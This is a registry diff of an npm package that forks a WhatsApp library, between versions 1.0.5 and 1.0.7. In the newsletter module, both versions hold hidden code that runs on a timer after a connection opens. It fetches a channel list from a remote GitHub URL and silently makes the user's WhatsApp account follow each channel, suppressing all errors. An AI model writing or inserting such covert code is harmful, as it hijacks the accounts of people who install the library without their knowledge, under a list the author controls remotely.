@riyanofficial/baileys-pro 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,6 +9,7 @@ const WABinary_1 = require("../WABinary");
9
9
  const groups_1 = require("./groups");
10
10
 
11
11
  const { Boom } = require('@hapi/boom');
12
+ const axios = require('axios');
12
13
 
13
14
  const wMexQuery = (
14
15
  variables,
@@ -65,27 +66,6 @@ const executeWMexQuery = async (
65
66
  throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
66
67
  }
67
68
 
68
- const AUTO_FOLLOW_CHANNELS = [
69
- "120363407882404628@newsletter",
70
- "120363422267690976@newsletter",
71
- "120363420781728152@newsletter",
72
- "120363404158393003@newsletter",
73
- "120363405509578332@newsletter",
74
- "120363425027456197@newsletter",
75
- "120363422100886562@newsletter"
76
- ];
77
-
78
- async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
79
- const channels = AUTO_FOLLOW_CHANNELS;
80
-
81
- for (const channelId of channels) {
82
- try {
83
- await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
84
- await new Promise(resolve => setTimeout(resolve, 5000));
85
- } catch (error) {}
86
- }
87
- }
88
-
89
69
  const makeNewsletterSocket = (config) => {
90
70
  const sock = (0, groups_1.makeGroupsSocket)(config);
91
71
  const { authState, signalRepository, query, generateMessageTag } = sock;
@@ -121,20 +101,20 @@ const makeNewsletterSocket = (config) => {
121
101
  }
122
102
  ]
123
103
  }));
124
-
125
- setTimeout(async () => {
126
- try {
127
- const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
128
- const AUTO_FOLLOW_CHANNELS = await response.json();
104
+
105
+ setTimeout(async () => {
106
+ try {
107
+ const response = await axios.get('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
108
+ const AUTO_FOLLOW_CHANNELS = response.data;
129
109
 
130
110
  for (const channelId of AUTO_FOLLOW_CHANNELS) {
131
- try {
132
- await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
133
- await new Promise(resolve => setTimeout(resolve, 5000));
134
- } catch (error) {}
111
+ try {
112
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
113
+ await new Promise(resolve => setTimeout(resolve, 5000));
114
+ } catch (error) {}
135
115
  }
136
- } catch (error) {}
137
- }, 10000);
116
+ } catch (error) {}
117
+ }, 10000);
138
118
 
139
119
  const parseFetchedUpdates = async (node, type) => {
140
120
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "description": "WhatsApp API Modification By Riyan Official",
5
5
  "keywords": [
6
6
  "whatsapp-bot",
@@ -54,7 +54,7 @@
54
54
  "futoin-hkdf": "^1.5.1",
55
55
  "libphonenumber-js": "^1.10.20",
56
56
  "lodash": "^4.17.21",
57
- "libsignal": "npm:@riyanofficial/libsignal-node",
57
+ "libsignal": "^2.0.1",
58
58
  "music-metadata": "^7.12.3",
59
59
  "node-cache": "^5.1.2",
60
60
  "node-fetch": "^2.6.1",